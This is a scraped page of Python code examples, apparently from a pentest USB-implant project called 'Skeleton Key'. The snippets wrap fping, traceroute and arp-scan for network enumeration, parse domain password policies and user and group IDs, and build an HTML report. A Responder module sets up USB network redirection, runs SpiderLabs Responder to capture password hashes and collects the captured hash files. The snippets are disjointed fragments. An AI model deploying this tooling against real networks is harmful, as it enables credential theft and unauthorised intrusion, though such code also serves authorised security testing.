            self.enumerate.debug("Password Complex Flag", Format.color_info)
        if "DOMAIN_PASSWORD_NO_ANON_CHANGE" in raw_command:
            pw_no_anon_change = True
            self.enumerate.debug("Password No Anon Change Flag",
                                 Format.color_info)
        if "DOMAIN_PASSWORD_NO_CLEAR_CHANGE" in raw_command:
            pw_no_change = True
            self.enumerate.debug("Password No Clear Change Flag",
                                 Format.color_info)

        output = [
            length, clear_text_pw, refuse_pw_change, lockout_admins,
            complex_pw, pw_no_anon_change, pw_no_change
        ]
        self.enumerate.debug(
            "get_password_policy: Output generated successfully",
            color=Format.color_success)

        return output

    def extract_info_rpc(self, rpc_out, startrows=1, initchars=7):
        """

        :param rpc_out:
        :param startrows:
        :param initchars:

        :return: Returns a list of lists containing user/group followed by rid as a pair
                 e.g.[[user/group, rid]]
        """

        rpc_out = rpc_out.split("\n")

        if startrows > 0:
            del rpc_out[0:startrows]
        else:
            del rpc_out[0]

        del rpc_out[-1]

        output = []

        for line in rpc_out:
            # output will look like [[user/group, rid], [user/group, rid]]
            output += [[line[initchars:-1].split('] rid:[')]]

        # self.enumerate.debug("extract_info_rpc: Output generated successfully", color=Format.color_success)
        return output

    def check_target_is_alive(self,
                              target,
                              interface="wlan0",
                              ping_count=0,
                              all_ips_from_dns=False,
                              get_dns_name=False,
                              contain_random_data=True,
                              randomise_targets=False,
                              source_address="self",
                              verbose=False):
        """
        Uses ICMP pings to check that hosts are online/responsive. This makes use of the FPing command line tool so is
        able to ping multiple hosts

        :param target: Either target via IPv4, IPv4 range, list of IPv4's, DNS Name(s?!)
        :param interface: Choose which interface the pings go from. Defaults to USB0
        :param ping_count: Will ping as many times as the input asks for
        :param all_ips_from_dns: Scans all IP address's relating to that DNS _name
        :param get_dns_name: Will return with the DNS _name for the IP scanned
        :param contain_random_data: Will not just send empty packets like the default
        :param randomise_targets: Will go through the targets provided in a random order
        :param source_address: Changes where the ping says it came from
        :param verbose: Only really effects the ping count command. Swaps output from RTTimes to Statistics

        :return: list of IP's that were seen to be alive
        """

        command = ["fping", "-a", "-I ", interface]

        # Adding Flags
        if ping_count > 0:
            if verbose:
                command += ["-D", "--count=" + str(ping_count)]
            else:
                command += ["--vcount=" + str(ping_count)]

        if get_dns_name:
            command += ["-n"]

        if randomise_targets:
            command += ["--random"]

        if contain_random_data:
            command += ["-R"]

        if source_address is not "self":
            if IpValidator.is_valid_ipv4_address(source_address):
                command += ["--src=" + source_address]
            else:
                self.enumerate.debug(
                    "Error: The redirection should be to a IPv4",
                    color=Format.color_warning)
                return False

        # Adding Targets
        if type(target) is list:
            if all_ips_from_dns:
                for item in target:
                    if not re.search("\A[a-z0-9]*\.[a-z0-9]*\.[a-z0-9]*",
                                     item.lower()):
                        self.enumerate.debug(
                            "Error: Target in list is not a valid IP or hostname"
                            "(Does not accept ranges here)",
                            color=Format.color_warning)
                        return False
            else:
                for item in target:
                    if not IpValidator.is_valid_ipv4_address(item):
                        self.enumerate.debug(
                            "Error: Target in list is not a valid IP (Does not accept ranges here)",
                            color=Format.color_warning)
                        return False

            command += target

        elif IpValidator.is_valid_ipv4_address(str(target)):
            command += [target]

        elif IpValidator.is_valid_ipv4_address(str(target), iprange=True):
            command += ["-g", target]

        elif re.search("\A[a-z0-9]*\.[a-z0-9]*\.[a-z0-9]*\Z",
                       str(target).lower()) and all_ips_from_dns:
            command += ["-m", target]
        else:
            self.enumerate.debug(
                "Error: Target is not a valid IP, Range or list",
                color=Format.color_warning)
            return False

        if ping_count > 0:
            output = subprocess.run(command,
                                    stderr=subprocess.PIPE).stderr.decode(
                                        "utf-8").strip().split("\n")
        else:
            output = subprocess.run(command,
                                    stdout=subprocess.PIPE).stdout.decode(
                                        "utf-8").strip().split("\n")

        if not output:
            return False

        if source_address is not "self":
            return False

        if ping_count > 0:
            final_out = [[]]

            if verbose:
                # This is not working. It cuts the min/avg/max section of the out and I cant be arsed fixing it
                for line in output:
                    final_out += [line.split(" : ")]
            else:
                for line in output:
                    temp = line.split(" : ")
                    temp[1] = temp[1].split()
                    final_out += [temp]

            del final_out[0]

            self.enumerate.debug(
                "check_target_is_alive: Output generated successfully",
                color=Format.color_success)
            return final_out

        self.enumerate.debug(
            "check_target_is_alive: Output generated successfully",
            color=Format.color_success)
        return output

    def get_route_to_target(self,
                            target,
                            interface="usb0",
                            bypass_routing_tables=False,
                            hop_back_checks=True,
                            map_host_names=True,
                            original_out=False):
        """
        Makes use of the traceroute command.
        No default flags are in use that the user cannot access via output

        Args:
        :param target: takes in a IPv4 target (Cannot Take a list)
        :param interface: Defaults to usb0 but can make use of any interface that is available
        :param bypass_routing_tables: Allows for traceroute to take the most direct approach bypassing routing tables
        :param hop_back_checks: Confirms that packets taken by the response follow the same path
        :param map_host_names: In the event that mapping host names to IP makes noise this can be disabled
        :param original_out: If the user wants the original command output this should be changed to true

        :return: 2 list of max 30 items with ips for each hop to the target and returning
                 List to target is a list of strings and List from target containing lists of strings
                 Bad hops / no information is signaled as '*'
        """
        command = ["traceroute", "-i",
                   interface]  # start with command items that are required

        # Add command arguments where appropriate
        if bypass_routing_tables:
            command += ["-r"]

        if hop_back_checks:
            command += ["--back"]

        if not map_host_names:
            command += ["-n"]

        if type(target) is str:
            if IpValidator.is_valid_ipv4_address(target):
                command += [target]
        else:
            self.enumerate.debug("Error: Wrong type - ip should be <string>",
                                 color=Format.color_warning)
            return False

        # Running command
        output = subprocess.run(command,
                                stdout=subprocess.PIPE).stdout.decode("utf-8")

        if original_out:  # If user doesnt want output parsed
            return output

        # Parsing output
        output = output.splitlines()

        del output[0]

        route_out = []
        route_back = []

        for line in output:
            line = line.split()
            del line[0]

            results = []  # init var to store current results
            if map_host_names:
                for item in line:
                    # If item looks like a domain or the first three octets of an IP address
                    if re.search("[a-z0-9]*\.[a-z0-9]*\.[a-z0-9]*", item.lower(
                    )):  # Would compiling a re be better here?
                        results += [
                            item.strip("\(\)")
                        ]  # Remove any brackets and add to results for this line
            else:
                for item in line:
                    if IpValidator.is_valid_ipv4_address(item):
                        results += [item]

            if len(results) is 1:
                route_out += [results]  # Add results from this line
                route_back += []
            elif len(results) is not 0:
                route_out += [results[0]]
                route_back += [results[1:]]
            else:
                route_out += ["*"]
                route_back += [["*"]]

        if type(route_out[0]) is list:
            route_out[0] = route_out[0][0]

        self.enumerate.debug(
            "get_route_to_target: Output generated successfully",
            color=Format.color_success)
        return route_out, route_back

    def get_targets_via_arp(self,
                            target,
                            interface="usb0",
                            source_ip="self",
                            target_is_file=False,
                            original_out=False,
                            randomise_targets=False):
        """
        Makes use of the arp-scan command.
        By default makes use of the verbose and retry flags.

        Target can be a list of IP's or a single IP.
            This allows for passing in the lists (such as that which the configs stores)
        :param target: IPv4 address(s) e.g "192.168.0.1", "192.168.0.0/24", ["192.168.0.1", "192.168.0.2"]

        :param interface: String value for interface, can make use of any interface that is available
                Defaults to "usb0"
        :param source_ip: String value that can be changed send packets with source being another address.
                Defaults to "self"
        :param target_is_file: Binary value for when the user wishes to use a file containing addresses.
                Defaults False
        :param original_out: Binary value for whether the command gives out the command output without parsing.
                Defaults False
        :param randomise_targets: Binary Value for targets where they should not be scanned in the order given.
                Defaults False

        :return: list of lists containing IP, MAC address and Adapter _name


        """
        command = ["sudo", "arp-scan", "-v", "-I", interface, "-r", "3"]

        if randomise_targets:
            command += ['-R']

        if source_ip is not "self" and IpValidator.is_valid_ipv4_address(
                source_ip):
            command += ["-s", source_ip]

        if target_is_file is True:
            if target is list:
                self.enumerate.debug(
                    "Error: A list of files cannot be scanned",
                    color=Format.color_warning)
                return False

            command += [
                "-f", target
            ]  # The target in this case should be the path to a target list file

        else:  # if target is not a file
            if type(target) is list:
                for current in target:
                    if not IpValidator.is_valid_ipv4_address(current,
                                                             iprange=True):
                        self.enumerate.debug(
                            "Error: Target %s in list is not a valid IP" %
                            target,
                            color=Format.color_warning)
                        return False

                command += target

            elif type(target) is str:  # if target is just an IP
                if not IpValidator.is_valid_ipv4_address(target, iprange=True):
                    self.enumerate.debug(
                        "Error: Target is not a valid IP or Range",
                        color=Format.color_warning)
                    return False

                command += [target]

            else:
                self.enumerate.debug("Error: Target is not a string or list")
                return False

        output = subprocess.run(command, stdout=subprocess.PIPE,
                                shell=False).stdout.decode("utf-8")

        self.enumerate.debug("get_targets_via_arp output captured: %s" %
                             True if output else False)

        if original_out is True:
            return output

        output = output.splitlines()

        self.enumerate.debug("get_targets_via_arp generating results...")
        # Removing generalised information out
        try:
            del output[0:2]
            del output[-3:]

            outlist = []

            for line in output:
                # Splits where literal tabs exist (between the IP, MAC and Adapter Name)
                outlist += [line.split("\t")]
        except Exception as Err:
            self.enumerate.debug("get_targets_via_arp Error: %s" % Err,
                                 color=Format.color_warning)
            return False

        self.enumerate.debug(
            "get_targets_via_arp: Output generated successfully",
            color=Format.color_success)
        return outlist  # Sorting via IP would be nice
Beispiel #10
0
 def __init__(self, debug):
     self.result2html_dbg = Debug(name="Result2Html",
                                  type="Module/Enumerate/helper",
                                  debug=debug)
     self.result2html_dbg.debug("Initializing Result2Html")
Beispiel #11
0
class Responder(Debug):
    """ Class for Responder Module
               Args:
                   debug                boolean - enable/disable debug features
                   path                 string - represents the file path to the "Components" directory

               functions:
                   run                  Runs Spiderlabs' Responder on usb0 so password hashes can potentially
                                        be obtained.

                   network.up           Calls a method from the network framework component that enables usb0,
                                        configures the DHCP server and IP routing for network traffic
                                        re-direction.

                   check_for_hashes     Checks whether a password hash has been captured by Responder.

                   process.kill         Kills the instance of Responder that has been running.

                   network.down         Calls a method from the network framework component that disables usb0,
                                        the DHCP server and removes IP routing for the interface.
               Returns:
                  A boolean value

               Raises:
                   None
           """

    # Constructor
    def __init__(self, path, debug):
        super().__init__(debug=debug)
        self._type = "Module"
        self._name = "Responder"

        # All modules assumed to use it
        self.path = path
        self.responder = Debug(name="Responder", type="Module", debug=debug)

        # If no responder source, install it
        responder_source_directory = "%s/modules/%s/%s" % (
            self.path, self._name, "source")
        try:
            # Attempt to open file
            open("%s/%s" % (responder_source_directory, "LICENSE"))
        except FileNotFoundError:
            subprocess.run(
                "git clone https://github.com/SpiderLabs/Responder.git %s" %
                responder_source_directory,
                shell=True)

        if "aspbian" in subprocess.run("lsb_release -a",
                                       stdout=subprocess.PIPE,
                                       shell=True).stdout.decode():
            # If the "hashes" directory doesn't exist, create it
            if not os.path.exists("%s/modules/Responder/hashes" % self.path):
                subprocess.run("mkdir %s/modules/Responder/hashes" % self.path,
                               shell=True)
                self.responder.debug("Creating hashes directory",
                                     color=Format.color_info)
            else:
                self.responder.debug(
                    "The hashes directory already exists, skipping creation!",
                    color=Format.color_info)

        # Setup module manager
        self.module_manager = ModuleManager(debug=debug,
                                            save_needs_confirm=True)

        # import config data for this module
        self.current_config = self.module_manager.get_module_by_name(
            self._name)
        if not self.current_config:
            self.responder.debug("Error: could not import config ",
                                 color=Format.color_danger)

        # Should not be global and should register debug state
        self.network = FwComponentNetwork(debug=debug)

        # Adapted from /src/utils.py. Creates and populates Responder.db correctly
        # (for some unknown reason Responder doesn't do this automatically)
        if not os.path.exists(
                "%s/modules/Responder/source/Responder.db" % self.path):
            self.responder.debug("Creating Responder.db",
                                 color=Format.color_info)
            cursor = sqlite3.connect(
                "%s/modules/Responder/source/Responder.db" % self.path)
            cursor.execute(
                'CREATE TABLE responder (timestamp varchar(32), module varchar(16), '
                'type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), '
                'cleartext varchar(128), hash varchar(512), fullhash varchar(512))'
            )
            cursor.commit()
            cursor.close()

    # Method used to capture password hashes from target using Spiderlabs' Responder
    def run(self):

        # Try convert the "ttl" that the user entered to a float
        try:
            # Grab Responder's "time to live" from the .ini
            time_to_live = float(self.current_config.options["ttl"])

        # If "ttl" cannot be converted to a float then set it to 60 seconds
        except Exception:
            time_to_live = 60
            self.responder.debug(
                "Catch triggered! Setting 'ttl' to 60 seconds",
                color=Format.color_info)

        # If "ttl" < 60 seconds, set "ttl" to 60 seconds (the default value)
        if time_to_live < 60:
            time_to_live = 60
            self.responder.debug("'ttl' too low! Setting 'ttl' to 60 seconds",
                                 color=Format.color_info)

        #  Method used to determine if Responder captured any hashes
        def check_for_hashes(timestamp_old, timestamp_new):

            if timestamp_new > timestamp_old:  # if newer modification time is detected, sleep and return
                time.sleep(2)
                self.responder.debug("Hash detected!", color=Format.color_info)
                return True
            else:
                self.responder.debug("No hash detected!",
                                     color=Format.color_info)
            return False

        # Enable and disable g_ether (Required due to some unknown bug)
        subprocess.call("modprobe 'g_ether' '0x04b3' '0x4010'", shell=True)
        subprocess.run("modprobe -r g_ether", shell=True)

        time.sleep(
            1
        )  # Sleep required due to issues with modprobe usage with subprocess

        network_success = self.network.up()  # Up usb0

        if not network_success:  # If networking.py has failed, don't run Responder and exit
            self.responder.debug("Exiting as networking.py has failed!",
                                 color=Format.color_danger)
            self.network.down()
            return False

        self.responder.debug("Responder starting", color=Format.color_success)

        #  Determine Responder.db timestamp at initialisation
        timestamp_before = os.stat("%s/modules/Responder/source/Responder.db" %
                                   self.path)

        try:
            # Run Responder on usb0
            subprocess.run(
                "exec python %s/modules/Responder/src/Responder.py -I usb0" %
                self.path,
                shell=True,
                timeout=time_to_live)
        except Exception:
            pass

        self.responder.debug("Responder ended", color=Format.color_info)

        #  Determine Responder.db timestamp after execution
        timestamp_after = os.stat("%s/modules/Responder/source/Responder.db" %
                                  self.path).st_mtime

        # Call the method that will determine if hashes have been captured
        hash_success = check_for_hashes(timestamp_before, timestamp_after)

        self.network.down()  # Down usb0

        # Move txt files that contain the hashes to a more central directory (hashes directory) if hashes were captured
        if hash_success:
            subprocess.run(
                "find %s/modules/Responder/source/logs -name '*.txt' -exec mv {} "
                "%s/modules/Responder/hashes \;" % (self.path, self.path),
                shell=True)

        return True
Beispiel #12
0
    def __init__(self, debug=""):

        # Define directory and module paths
        self.main_path = os.path.dirname(os.path.realpath(__file__))
        self.config_file = self.main_path + '/config.ini'

        self.main_path += "/components"
        self.module_path = self.main_path + "/modules"

        # Load or create config files
        self.config = configparser.ConfigParser()

        # (Import | Create) default config
        try:
            # Attempt to read config
            open(self.config_file)
        except FileNotFoundError:
            # Config not found, set defaults
            self.config.read(self.config_file)

            # Interface options
            self.config.add_section('interface')
            self.config.set('interface', 'debug', 'false')

            # Disable debug if not specified
            debug = False if debug == "" else debug

            # General options
            self.config.add_section('general')
            self.config.set('general', 'config_mode', 'true')
            self.config.set('general', 'pin_armed', 'false')

            with open('config.ini', 'w') as self.config_file:
                self.config.write(self.config_file)

            self.config_mode = True

        else:
            # Config file exists, start importing
            self.config.read(self.config_file)

            # Set debug state accordingly
            debug = self.config.get(
                'interface',
                'debug').lower() == "true" if debug == "" else debug

            # if no display = armed is in effect
            pin_armed = self.config.get(
                'general',
                'pin_armed').lower() == "true" and self.is_pin_armed()

            # Set current run state (config | Armed)
            self.config_mode = self.config.get(
                'general', 'config_mode').lower() == "true" or pin_armed

        self.main = Debug(debug=debug, name="Skeleton Key", type="Main")
        self.module_manager = ModuleManager(debug=debug)
        self.module_debug = debug

        self.SK_title = (
            "____ _  _ ____ _    ____ ___ ____ _  _    _  _ ____ _   _ \n"
            "[__  |_/  |___ |    |___  |  |  | |\ |    |_/  |___  \_/  \n"
            "___] | \_ |___ |___ |___  |  |__| | \|    | \_ |___   |   \n")

        # Ensure that modules folder exists
        if not (os.path.exists(self.module_path)):
            self.main.debug("ERROR: " + self.module_path +
                            " directory does not exist",
                            color=Format.color_warning)
Beispiel #13
0
class Result2Html:
    def __init__(self, debug):
        self.result2html_dbg = Debug(name="Result2Html",
                                     type="Module/Enumerate/helper",
                                     debug=debug)
        self.result2html_dbg.debug("Initializing Result2Html")

    def result2html(self, targets, ip_list):
        """
        Description:
                    Converts Enumerate output to human-readable form

        :param targets:     List containing TargetInfo Objects
        :return:            Bootstrap-based HTML5 page of results
        """

        password_policy_items = [
            ["Password Min Length is", "MIN_PASSWORD_LENGTH"],
            [
                "Passwords Stored in Plaintext",
                "DOMAIN_PASSWORD_STORE_CLEARTEXT"
            ],
            [
                "No need for weekly password changes",
                "DOMAIN_REFUSE_PASSWORD_CHANGE"
            ],
            [
                "Has Admin been locked out from remote logons",
                "DOMAIN_PASSWORD_LOCKOUT_ADMINS"
            ], ["Password Must be Complex", "DOMAIN_PASSWORD_COMPLEX"],
            [
                "Password Cannot be changed without logging on",
                "DOMAIN_PASSWORD_NO_ANON_CHANGE"
            ],
            [
                "No logons that exchange passwords via plaintext",
                "DOMAIN_PASSWORD_NO_CLEAR_CHANGE"
            ]
        ]

        self.result2html_dbg.debug("Starting Result2Html...",
                                   color=Format.color_info)

        doc, tag, text = yattag.Doc().tagtext()

        self.result2html_dbg.debug("Beginning html formatting",
                                   color=Format.color_info)

        doc.asis('<!DOCTYPE html>')

        with tag('html', lang="en"):
            with tag('head'):
                doc.asis('<meta charset="utf-8">')
                doc.asis(
                    '<meta name="viewport" content="width=device-width, initial-scale=1">'
                )
                doc.asis(
                    '<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">'
                )
                with tag(
                        'script',
                        src=
                        "https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js"
                ):
                    pass
                with tag(
                        'script',
                        src=
                        "https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js"
                ):
                    pass
                with tag('body'):
                    with tag('div', klass="container"):
                        # Table for current IP
                        for IP in ip_list:  # Read Ips from list so that they are in order
                            # Basic Info
                            with tag("h3", klass=".text-primary"):
                                text("%s Basic Info" % IP)
                            with tag('table', klass="table table-condensed"):
                                # Table headings
                                with tag('thead', klass=".thead-dark"):
                                    with tag('tr'):
                                        with tag('th'):
                                            text(IP)
                                        with tag('th'):
                                            text("Info")
                                self.result2html_dbg.debug(
                                    "ICMP, MAC & Adapter")
                                # Table rows
                                with tag('tbody'):
                                    with tag('tr'):
                                        with tag('td'):
                                            text("Responds to ICMP")
                                        with tag('td'):
                                            text("True" if targets[IP].
                                                 RESPONDS_ICMP else "False")
                                    with tag('tr'):
                                        with tag('td'):
                                            text("MAC Address")
                                        with tag('td'):
                                            text(targets[IP].
                                                 MAC_ADDRESS if targets[IP].
                                                 MAC_ADDRESS else "None")
                                    with tag('tr'):
                                        with tag('td'):
                                            text("Adapter name")
                                        with tag('td'):
                                            text(targets[IP].
                                                 ADAPTER_NAME if targets[IP].
                                                 ADAPTER_NAME else "None")

                            # Route
                            self.result2html_dbg.debug(
                                "Formatting route to target")
                            if targets[IP].ROUTE:
                                with tag("h3", klass=".text-primary"):
                                    text("Route to %s" % IP)
                                with tag("h5"):
                                    text(
                                        "'*' is used to signify a failed jump")
                                with tag("h5"):
                                    text(
                                        "Return path populate where applicable"
                                    )
                                with tag('table',
                                         klass="table table-condensed"):
                                    # Table headings
                                    with tag('thead', klass=".thead-dark"):
                                        with tag('tr'):
                                            with tag('th'):
                                                text("HOP #")
                                            with tag('th'):
                                                text("IP/Domain Path Out")
                                            with tag('th'):
                                                text(
                                                    "IP/Domain Other Return Path(s)"
                                                )
                                        # Table rows
                                        with tag('tbody'):
                                            for index, value in enumerate(
                                                    targets[IP].ROUTE[0]):
                                                with tag('tr'):
                                                    with tag('td'):
                                                        text(1 + index)  # hop
                                                    with tag('td'):
                                                        text(value)  # ip
                                                    with tag('td'):
                                                        if targets[IP].ROUTE[
                                                                1]:
                                                            routeout = ""
                                                            for ip in targets[
                                                                    IP].ROUTE[1][
                                                                        index]:
                                                                routeout += "%s, " % ip
                                                            text(routeout[:-2])
                                                        else:
                                                            text("*")

                            # OS Info
                            self.result2html_dbg.debug("Formatting OS INFO")
                            if targets[IP].OS_INFO:
                                with tag("h3", klass=".text-primary"):
                                    text("OS info for %s" % IP)
                                with tag('table',
                                         klass="table table-condensed"):
                                    # Table headings
                                    with tag('thead', klass=".thead-dark"):
                                        with tag('tr'):
                                            with tag('th'):
                                                text("Suspected OS ")

                                    with tag('tbody'):
                                        # Table rows
                                        # TODO check that not list of suspected OS rather than list of list of suspected OS
                                        if targets[IP].OS_INFO:
                                            for suspected_os in targets[
                                                    IP].OS_INFO:
                                                with tag('tr'):
                                                    with tag('td'):
                                                        text(suspected_os)
                                        else:
                                            with tag('tr'):
                                                with tag('td'):
                                                    text("No results")

                            # SOFTWARE INFO
                            self.result2html_dbg.debug(
                                "Formatting Software INFO")
                            if targets[IP].SOFTWARE_INFO:
                                with tag('table',
                                         klass="table table-condensed"):
                                    # Table headings
                                    with tag('thead', klass=".thead-dark"):
                                        with tag('tr'):
                                            with tag('th'):
                                                text("Software Info")
                                    with tag('tbody'):
                                        with tag('tr'):
                                            with tag('td'):
                                                text(
                                                    "Not currently implemented :("
                                                )

                            # WORKGROUP
                            self.result2html_dbg.debug(
                                "Workgroup not implemented")
                            if targets[IP].WORKGROUP:
                                with tag('table',
                                         klass="table table-condensed"):
                                    # Table headings
                                    with tag('thead', klass=".thead-dark"):
                                        with tag('tr'):
                                            with tag('th'):
                                                text("Workgroup Info")
                                    with tag('tbody'):
                                        with tag('tr'):
                                            with tag('td'):
                                                text(
                                                    "Not currently implemented :("
                                                )

                            # Domain Groups
                            self.result2html_dbg.debug(
                                "Formatting Domain groups ")
                            if targets[IP].DOMAIN_GROUPS:
                                with tag("h3", klass=".text-primary"):
                                    text("Domain Groups for %s" % IP)
                                with tag('table',
                                         klass="table table-condensed"):
                                    # Table headings
                                    with tag('thead', klass=".thead-dark"):
                                        with tag('tr'):
                                            with tag('th'):
                                                text("Groups")
                                            with tag('th'):
                                                text("RID")
                                    with tag('tbody'):
                                        for item in targets[IP].DOMAIN_GROUPS:
                                            with tag('tr'):
                                                with tag('td'):
                                                    text(item[0])
                                                with tag('td'):
                                                    text(item[1])

                            # Domain Users
                            self.result2html_dbg.debug(
                                "Formatting Domain users")
                            if targets[IP].DOMAIN_USERS:
                                with tag("h3", klass=".text-primary"):
                                    text("Domain Users for %s" % IP)
                                with tag('table',
                                         klass="table table-condensed"):
                                    # Table headings
                                    with tag('thead', klass=".thead-dark"):
                                        with tag('tr'):
                                            with tag('th'):
                                                text("Username")
                                            with tag('th'):
                                                text("RID")
                                    with tag('tbody'):
                                        for item in targets[IP].DOMAIN_USERS:
                                            with tag('tr'):
                                                with tag('td'):
                                                    text(item[0])
                                                with tag('td'):
                                                    text(item[1])

                            # SESSIONS
                            self.result2html_dbg.debug("Formatting Sessions")
                            if targets[IP].SESSIONS:
                                with tag('table',
                                         klass="table table-condensed"):
                                    # Table headings
                                    with tag('thead', klass=".thead-dark"):
                                        with tag('tr'):
                                            with tag('th'):
                                                text("Session Info")
                                    with tag('tbody'):
                                        with tag('tr'):
                                            with tag('td'):
                                                text(
                                                    "Not currently implemented :("
                                                )

                            # NBT STAT
                            self.result2html_dbg.debug("Formatting NBT STAT")
                            with tag("h3", klass=".text-primary"):
                                text("%s NBTSTAT" % IP)
                            if targets[IP].NBT_STAT:
                                with tag('table',
                                         klass="table table-condensed"):
                                    # Table headings
                                    with tag('thead', klass=".thead-dark"):
                                        with tag('tr'):
                                            with tag('th'):
                                                text("NBT STAT Info")
                                    with tag('tbody'):
                                        for NBT_INFO in targets[IP].NBT_STAT:
                                            with tag('tr'):
                                                with tag('td'):
                                                    text(NBT_INFO)

                            # SHARE INFO
                            self.result2html_dbg.debug("Formatting Shares")
                            if targets[IP].SHARE_INFO:
                                with tag("h3", klass=".text-primary"):
                                    text("%s's Shares" % IP)
                                with tag('table',
                                         klass="table table-condensed"):
                                    # Table headings
                                    with tag('thead', klass=".thead-dark"):
                                        with tag('tr'):
                                            with tag('th'):
                                                text("Sharename")
                                            with tag('th'):
                                                text("Type")
                                            with tag('th'):
                                                text("Comment")
                                    with tag('tbody'):
                                        for x in range(
                                                len(targets[IP].SHARE_INFO)):
                                            with tag('tr'):
                                                with tag('td'):
                                                    text(targets[IP].
                                                         SHARE_INFO[0][x])
                                                with tag('td'):
                                                    text(targets[IP].
                                                         SHARE_INFO[1][x])
                                                with tag('td'):
                                                    text(targets[IP].
                                                         SHARE_INFO[2][x])

                            # Local INFO
                            self.result2html_dbg.debug("Formatting Local")
                            if targets[IP].LOCAL_USERS and targets[
                                    IP].LOCAL_GROUPS:
                                with tag('table',
                                         klass="table table-condensed"):
                                    # Table headings
                                    with tag('thead', klass=".thead-dark"):
                                        with tag('tr'):
                                            with tag('th'):
                                                text("Local Info")
                                    with tag('tbody'):
                                        with tag('tr'):
                                            with tag('td'):
                                                text(
                                                    "Not currently implemented :("
                                                )

                            # PASSWD_POLICY
                            self.result2html_dbg.debug(
                                "Formatting Password Policy")
                            if targets[IP].PASSWD_POLICY:
                                with tag("h3", klass=".text-primary"):
                                    text("%s Password Policy" % IP)
                                with tag('table',
                                         klass="table table-condensed"):
                                    # Table headings
                                    with tag('thead', klass=".thead-dark"):
                                        with tag('tr'):
                                            with tag('th'):
                                                text("Flag Name")
                                            with tag('th'):
                                                text("Policy Flag Desc")
                                            with tag('th'):
                                                text("State")
                                    with tag('tbody'):
                                        for x in range(
                                                len(targets[IP].PASSWD_POLICY)
                                        ):
                                            with tag('tr'):
                                                with tag('td'):
                                                    text(password_policy_items[
                                                        x][1])
                                                with tag('td'):
                                                    text(password_policy_items[
                                                        x][0])
                                                with tag('td'):
                                                    text(
                                                        str(targets[IP].
                                                            PASSWD_POLICY[x]))

                            # PRINTER_INFO
                            self.result2html_dbg.debug(
                                "Formatting Printer Info")
                            if targets[IP].PRINTER_INFO:
                                with tag('table',
                                         klass="table table-condensed"):
                                    # Table headings
                                    with tag('thead', klass=".thead-dark"):
                                        with tag('tr'):
                                            with tag('th'):
                                                text("Printer Info")
                                    with tag('tbody'):
                                        with tag('tr'):
                                            with tag('td'):
                                                text(
                                                    "Not currently implemented :("
                                                )

                            # PORTS
                            self.result2html_dbg.debug("Formatting Ports")
                            if targets[IP].PORTS:
                                with tag("h3", klass=".text-primary"):
                                    text("Port scan of %s" % IP)
                                with tag('table',
                                         klass="table table-condensed"):
                                    # Table headings
                                    # Port Service Version State
                                    with tag('thead', klass=".thead-dark"):
                                        with tag('tr'):
                                            with tag('th'):
                                                text("Port")
                                            with tag('th'):
                                                text("Service")
                                            with tag('th'):
                                                text("Version")
                                            with tag('th'):
                                                text("State")
                                    with tag('tbody'):
                                        for this_port in targets[IP].PORTS:
                                            with tag('tr'):
                                                port, service, version, state = this_port
                                                with tag('td'):
                                                    text(port)
                                                with tag('td'):
                                                    text(service)
                                                with tag('td'):
                                                    text(version)
                                                with tag('td'):
                                                    text(state)

        self.result2html_dbg.debug("Html generation success",
                                   color=Format.color_success)
        return doc.getvalue()
Beispiel #14
0
    def __init__(self, path, debug):
        self.enumerate = Debug(name="Enumerate", type="Module", debug=debug)
        self._debug = debug

        # Setup module manager
        self.module_manager = ModuleManager(debug=debug,
                                            save_needs_confirm=True)

        # import config data for this module
        self.current_config = self.module_manager.get_module_by_name(
            self.enumerate._name)
        if not self.current_config:
            self.enumerate.debug("Error: could not import config of " +
                                 self.enumerate._name,
                                 color=Format.color_danger)

        # Import default system path
        self.path = path

        # Import interface else use default
        self.interface = self.current_config.options["interface"]\
            if self.current_config.options["interface"] == "wlan0"\
            or self.current_config.options["interface"] == "usb0"\
            else "wlan0"

        self.enumerate.debug("Using interface: " + self.interface)

        # ~Produce list of usable ip addresses~
        self.raw_ip_targets = self.current_config.options["ip_targets"]
        self.raw_ip_exclusions = self.current_config.options["ip_exclusions"]
        self.ip_list = [
            ip for ip in self.get_ip_list(self.raw_ip_targets)
            if ip not in self.get_ip_list(self.raw_ip_exclusions)
        ]

        # have to do it this way to avoid actions happening to both lists
        self.ip_list_shuffled = [ip for ip in self.ip_list]
        random.shuffle(self.ip_list_shuffled)

        # ~Produce list of usable ports~
        self.raw_ports = self.current_config.options["port_targets"]
        self.raw_port_exclusions = self.current_config.options[
            "port_exclusions"]
        self.port_list = [
            port for port in self.get_port_list(self.raw_ports)
            if port not in self.get_port_list(self.raw_port_exclusions)
        ]

        # ~Produce list of usable users.txt~
        self.user_list = []
        with open(self.path + "/modules/Enumerate/users.txt") as user_file:
            for line in user_file:
                try:
                    user, _, password = line.strip().partition(":")
                    self.user_list.append([user, password])
                except Exception as user_list_err:
                    self.enumerate.debug("Error parsing users: %s" %
                                         user_list_err,
                                         color=Format.color_warning)

        # ~Produce list of default passwords~
        self.default_passwords = []
        with open(self.path +
                  "/modules/Enumerate/default_passwords.txt") as password_file:
            for line in password_file:
                self.default_passwords.append(line)

        self.rpc_timeout = float(
            self.current_config.options['rpc_timeout_start'])
        self.rpc_max_timeout = float(
            self.current_config.options['rpc_timeout_max'])
        self.rpc_timeout_increment = float(
            self.current_config.options['rpc_timeout_increment'])

        self.quiet = self.current_config.options["quiet"]
        self.verbose = self.current_config.options["verbose"]
        self.use_port_range = self.current_config.options["use_port_range"]

        ###############################################################################
        # The following  mappings for nmblookup (nbtstat) status codes to human readable
        # format is taken from nbtscan 1.5.1 "statusq.c".  This file in turn
        # was derived from the Samba package which contains the following
        # license:
        #    Unix SMB/Netbios implementation
        #    Version 1.9
        #    Main SMB server routine
        #    Copyright (C) Andrew Tridgell 1992-1999
        #
        #    This program is free software; you can redistribute it and/or modif
        #    it under the terms of the GNU General Public License as published b
        #    the Free Software Foundation; either version 2 of the License, o
        #    (at your option) any later version
        #
        #    This program is distributed in the hope that it will be useful
        #    but WITHOUT ANY WARRANTY; without even the implied warranty o
        #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See th
        #    GNU General Public License for more details
        #
        #    You should have received a copy of the GNU General Public Licens
        #    along with this program; if not, write to the Free Softwar
        #    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA

